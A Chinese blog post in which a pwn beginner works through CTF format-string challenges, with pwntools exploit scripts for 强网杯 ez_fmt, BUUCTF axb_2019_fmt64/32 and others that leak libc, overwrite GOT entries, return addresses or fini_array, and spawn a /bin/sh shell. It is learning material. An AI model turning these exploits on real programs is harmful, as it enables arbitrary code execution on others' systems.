格式化字符串各种泄露覆盖类型 姿势具体讲解

栈上格式化字符串

以下题目的条件:RELRO 保护模式不为 FULL RELRO ,GOT表需要可写

FULL RELRO当开启这个之后 got表是无法修改的

格式化字符串题目: 强网杯(ez_fmt)

通过这题还学会了利用 printf函数就是函数本身内部的返回地址,可以通过调试得到

通过这道题理清了两个逻辑:

这里我们是覆盖让地址的后四位为0x1203 这里传的是0x1203也就是4594+14+3+2 这里的4594就是%4594c 14指的就是%39$p泄露的地址0x7ffffffffff(类似这样的地址算上0x 是14个字节) 这里的3是 aaa 2是后面的两个aa 这样就很清晰了

然后是另一个

这里%9$hn 是return_addr再栈上的位置, hn是指覆盖四个字节,hhn是覆盖两个字节、

还学到一个处理方法

就是>> 和 & 的联合使用

通过这里可以看出 og 16 & 0xffff 取的是b6b8 也就是低16位地址 og >> 16 是将整体向右移动16位 和 & 0xffff 并用的话 可以得到中间的16位地址

这里的➖是因为 在计算第二次发过去的地址时,会算上前面发过去的字符,所以要减去前面发过的数量,然后才能实现我们想要传递的地址

exp如下

#!/usr/bin/python3

from pwn import *

context(log_level='debug',arch='amd64', os='linux')

pwnfile= './fmt'

io = process(pwnfile)

#io = remote('', )

elf = ELF(pwnfile)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():

gdb.attach(io)

pause()

#---------------------------------------------------------------------------------

io.recvuntil("There is a gift for you ")

buf=int(io.recv()[2:14],16)

return_addr=buf-0x8

print(hex(return_addr))

main=0x401196

dbg()

payload = b'%39$paaa'+b'%4594caa%9$hnaaa' + p64(return_addr) #14+3+2

io.sendline(payload)

libc_addr=int(io.recv()[2:14],16)-128

libc.address=libc_addr-0x029dc0

one_addr=libc_addr-0x029dc0+0xebdb3

print("one_addr")

system=libc.symbols['system']

payload = b'%' + str((one_addr >> 16) & 0xffff).encode() + b'c' + b'%10$hn' + b'%' + str((one_addr & 0xffff) - ((one_addr >> 16) & 0xffff)).encode() + b'c' + b'%11$hn'

payload = payload.ljust(0x20, b' ')

payload += p64(buf + 0x68+2) +p64(buf + 0x68)

io.send(payload)

io.interactive()

这是64位的题目

攻防世界 CGFSB

由图中可以看出 pwnme =8 游戏就结束了,然后 有一个很明显的printf(s) 格式化字符串进行覆盖,原理这里不在多说,然后

可以很明显看到pwnme在bss段上 因此直接覆盖,

exp如下

这里有个和64位不同的地方也就是,地址放前面,且会加入计算 也就是 8 = 4 + 4 这个前面的4来自p32(addr)

[BUUCTF]PWN——axb_2019_fmt64

这是它的源代码和保护机制,从图中可以看出,有两个格式化字符串的问题,但是第二个print(format) 是无法执行到的,因为format的长度大于0x10E,所以利用sprintf 这里把s输入的储存到format里面,一开始我想这利用下面的printf(format)替换为system 但是执行不到,所以利用strlen来进行,思路如下,通过泄露基址来得到system的地址,然后得到strlen got表的位置,可以观察到 他们的后六位不相同,因此可以格式化字符串覆盖六个字节的内存,而由于plt got表的执行机制可知,只有在第二次之后使用才会直接调用got表,因此会再有一轮循环,而这一轮循环 我们向s中输入 /bin/sh 然后就可以完成system("/bin/sh")就可以shell

exp如下:

#!/usr/bin/python3

from pwn import *

pwnfile="./axb"

p=process(pwnfile)

elf=ELF(pwnfile)

def dbg():

gdb.attach(p)

pause()

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.clear(arch='amd64', os='linux', log_level='debug')

p.recvuntil("Please tell me:")

payload=b'%103$p'

p.send(payload)

p.recvuntil("Repeater:")

libc_addr=int(p.recv()[2:14],16)-128

libc.address=libc_addr-0x029dc0

print(hex(libc_addr))

strlen_got = elf.got["strlen"]

system=libc.symbols["system"]

print(hex(system))

low_system=system & 0xffff

print(hex(low_system))

high_system=(system >> 16) & 0xff

print(hex(high_system))

payload=b'%'+str(high_system-9).encode()+b'c%12$hhn'+b'%'+str(low_system-high_system).encode()+b'c%13$hn'

payload = payload.ljust(0x20, b'a')

payload+= p64(strlen_got+2)+p64(strlen_got)

p.send(payload)

payload3 = ';/bin/sh\x00'

p.recvuntil("Please tell me:")

dbg()

p.send(payload3)

p.interactive()

有一个点是借鉴了别人的exp 就是

我还没想明白这里为什么多个分号

[BUUCTF]PWN——axb_2019_fmt32

这里思路基本和64位的一样直接贴exp了

#!/usr/bin/python3

from pwn import *

libc=ELF("/lib/i386-linux-gnu/libc.so.6")

context(os='linux',arch='i386',log_level='debug')

#r = process("./axb_2019_fmt32")

r=process("./axb32")

elf=ELF("./axb32")

printf_got = elf.got['printf']

payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'

r.sendafter('me:', payload)

r.recvuntil("22")

printf_addr = u32(r.recv(4))

print("printf_addr"+hex(printf_addr))

libc.address=printf_addr-libc.symbols['printf']

system=libc.symbols['system']

print("system_addr"+hex(system))

payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa)

#p.recvuntil(':')

gdb.attach(r)

pause()

r.sendline(payload)

r.sendline(b';/bin/sh\x00')

r.interactive()

fmtstr_payload 这里对于这个的用法 也就是类似上面64位我们自己传,相当于将那个过程打包为一个函数 我们只需要传参就可以 具体用法可以看官方文档pwnlib.fmtstr — Format string bug exploitation tools — pwntools 2.2.1 documentation

格式化字符串进阶用法链接:安全研究:HOUSE_OF_FMT - FreeBuf网络安全行业门户以后学到堆来看

非栈上格式化字符串

两个姿势:一个是四马分肥,一个诸葛连弩,

四马分肥一般是用三链条,一次性去修改got表的地址

诸葛连弩的话 是用四链,一个字节一个字节的去给目标地址修改任意值

接下来具体讲解一下 四马分肥

基本是通过三链来控制后面的东西

跨行传递,通过 0x7ffdfe862680 来给 0x7ffdfe860011 传递参数,覆盖地址为0x7ffdfe862690 以达到三条链,

然后通过 0x7ffdfe862690 来给 0x7f30daceae50传参,以达到覆盖的目的

它的一个攻击思路是:

1.首先在栈中找到三条链的段

2.然后通过找一些和目标地址近似的地址,大概是一个字节或者两个到三个字节不同别的都相同

3.再把三链的第三个覆盖改写为,指向相似地址的地址(一般是指向一些常见的函数t反正不要选那些冷门偏门的,有可能会让系统崩掉)

4.通过第三步覆盖的地址 去传入目标函数的地址,由于近似,一般传一两个字节就可以了。由于一开始是下图,所以直接传就是改变相近的地址

5.然后后面覆盖后就是下面这样,这种情况下,就根据0x7fff那个地址 去给后面got表指向的地址传参 进行覆盖

ps 一般是通过 改 printf@got.plt 和 printf@got.plt + 2 然后同步进行第五步,达到一步改got表

这里加2是因为假设我们是hn的话就是传入的2个字节,然后要覆盖高位的话,就需要把地址加2

接下来具体讲解一下诸葛连弩

其实就是利用了四链的逻辑 大致是一个这样的思路

gdb动态调试如下图

现在我们想修改红色方框中地址(target_addr )所存储的值。我们将黄色区域 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 作为 a->b->c 链

首先利用下图中 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 将 0x7fffffffe2f0 低 2 字节修改为目标地址的低 2 字节

然后修改 0x7fffffffe2f0+2

接下来将 0x7fffffffe2f0+2 修改为 目标地址的 3-4 字节,

以此类推完成所有修改,最后形成 a->b->c->target_addr ,此时再利用上述方法即可将 target_addr 中的值修改为任意值。

两者对比

四马分肥相对直白一些,所以网上大多数 writeup 都是这种方式,相对于第2种它能够修改 got 表,如果出题人不从中作梗,由于操作系统的关系,这种攻击方式基本上必然能够成立。但是当 FULL RELRO 时,则需要修改栈上的返回地址构造 ROP 链,则相繁琐一些,且可能因为 ROP 链过长影响“四马”的选择。

诸葛连弩方式有些绕,需要多次写入修改;由于是逐个字节写内存,所以不能修改 got 表;单字节修改时尾部字节在 0XFD-0XFF 时程序会失败,双字节修改时尾部字节在 0XFFFD-0XFFFF 时程序会失败。因此方法2不是最佳选择。但当 FULL RELRO 时 ,修改返回地址构造 ROP 链则相对简单一些。可以修改目标地址为任意数字

接下来再通过例题进行实际演练

fmt

ida反汇编可得到

可以明显的看出printf(buf) 格式化字符串 可以把printf的got表改为system的地址,然后传入/bin/sh达到shell的效果

可以看到开了pie和nx,

捋一下思路,现在我们要将printf的got表改成system,但是由于buf不在栈上,所以不能直接传入printf plt表的地址,因此要通过四马分肥去替换栈中已有的地址,1.要获得printf got表的位置 2.要泄露libc 得到system的地址 3.一次性修改got表的地址

具体调试过程如下,这里只展示四马分肥的过程

第一次

第二次

后面基本是重复这个过程 再改偏移6的位置构造三链条,然后修改近似的地址,这里直接跳到最后一次性修改got

修改成功,而由于pie的延迟绑定机制,我们还有一次传入参数的机会,这时候传入/bin/sh就可以了

exp如下

#!/usr/bin/python3

from pwn import *

pwnfile="./fmt"

p=process(pwnfile)

elf=ELF(pwnfile)

def dbg():

gdb.attach(p)

pause()

libc = elf.libc

context.clear(arch='amd64', os='linux', log_level='debug')

payload=b'%6$p'+b'%39$p\x00'

p.send(payload)

#----------------------------------------------------

test=p.recv()[8:26]

print(test)

print_got=elf.got['printf']

print("got_printf")

print(hex(print_got))

ebp=int(test[:8],16)

libc_addr=int(test[10:19],16)-147 #偏移

print(libc.symbols["__libc_start_main"])

libc.address=libc_addr-libc.symbols["__libc_start_main"]

print(libc.address)

system=libc.symbols["system"]

print("ebp")

print(hex(ebp))

print("libc_addr")

print(hex(libc_addr))

offset_1=12

offset_2=4

stack_1=ebp-offset_1

print(hex(stack_1))

stack_2=ebp+offset_2

print(hex(stack_2))

#-------------------------------------------------------

payload=b'%21$p'+b'aaaa'

p.send(payload)

#-------------------------------------------------------

pie=int(p.recv()[2:10],16)-elf.symbols['main']

print(hex(pie))

got=pie+print_got

print(hex(got))

got_low=got & 0xffff

print(hex(got_low))

system_low=system & 0xffff

system_high=(system>>16) & 0xffff

print("system")

print(hex(system))

print("low")

print(hex(system_low))

print("high")

print(hex(system_high))

#-------------------------------------------------------

payload=b'%'+str(stack_1 & 0xffff).encode()+b'c%6$hn\x00'

p.send(payload)

p.interactive()

payload=b'%'+str(got_low).encode()+b'c%10$hn\x00'

p.send(payload)

p.interactive()

payload=b'%'+str(stack_2 & 0xffff).encode()+b'c%6$hn'

p.send(payload)

p.interactive()

payload=b'%'+str(got_low+2).encode()+b'c%10$hn\x00'

p.send(payload)

p.interactive()

payload=b'%'+str(system_low).encode()+b'c'+b'%7$hn'+b'%'+str(system_high-system_low).encode()+b'c'+b'%11$hn\x00'

p.interactive()

p.send(payload)

p.interactive()

p.send('/bin/sh\x00')

p.interactive()

诸葛连弩:还没找到合适的题目,先放一放

杂项--星号的使用

在格式化字符串中,如果我们想覆盖地址但出现可读取字节不太够的情况下,可以用星号*代替

调试图如下

由图可知成功修改,原理理解的话,可以理解为%*9 指向了偏移为9的地址指向的地址,然后将用这个方式缩短传输所需要的字节数,如果直接传入的话可能需要5到6位字节

杂项--只能使用一次格式化字符串

这里就需要介绍一下我们程序运行的一个基本流程了

就是会有一个init_array和fini_array

.init中的代码在main之前执行
.finit中的代码在main之后执行

因为程序结束后会执行finit地址,由于程序·没有开pie因此我们可以通过把fini_array的地址改为main函数的地址,就可以让main再执行一次

在exit函数中可以动态调试得到

exp如下:

#!/usr/bin/python3

# coding=utf-8

from pwn import *

arch = 'amd64'

context.clear(arch='amd64', os='linux', log_level='debug')

pwnfile= './fmt_str_once_sys_x64_nopie'

io = process(pwnfile)

#io = remote('', )

elf = ELF(pwnfile)

rop = ROP(pwnfile)

libc =elf.libc

def dbg():

gdb.attach(io)

pause()

dem = 'input:\n'

io.recvuntil(dem)

fini_array = 0x4031D0

main_adrr = elf.symbols["main"]

printf_got = elf.got["printf"]

system_plt = elf.symbols["system"]

payload = fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt})

print(payload)

dbg()

io.send(payload)

io.interactive()

fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt}),这里学到一个这个函数的用法,前面的6是程序最开始的偏移,后面是替代的函数,但这个是利用于传入数据再栈上的,非栈的话还是要自己输出

写在最后的话:感谢国资社畜和各类大佬的一些题目和讲解,我也还是一个正在pwn海中摸索的新人,如有讲的不对的地方,欢迎指出

  • 17
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值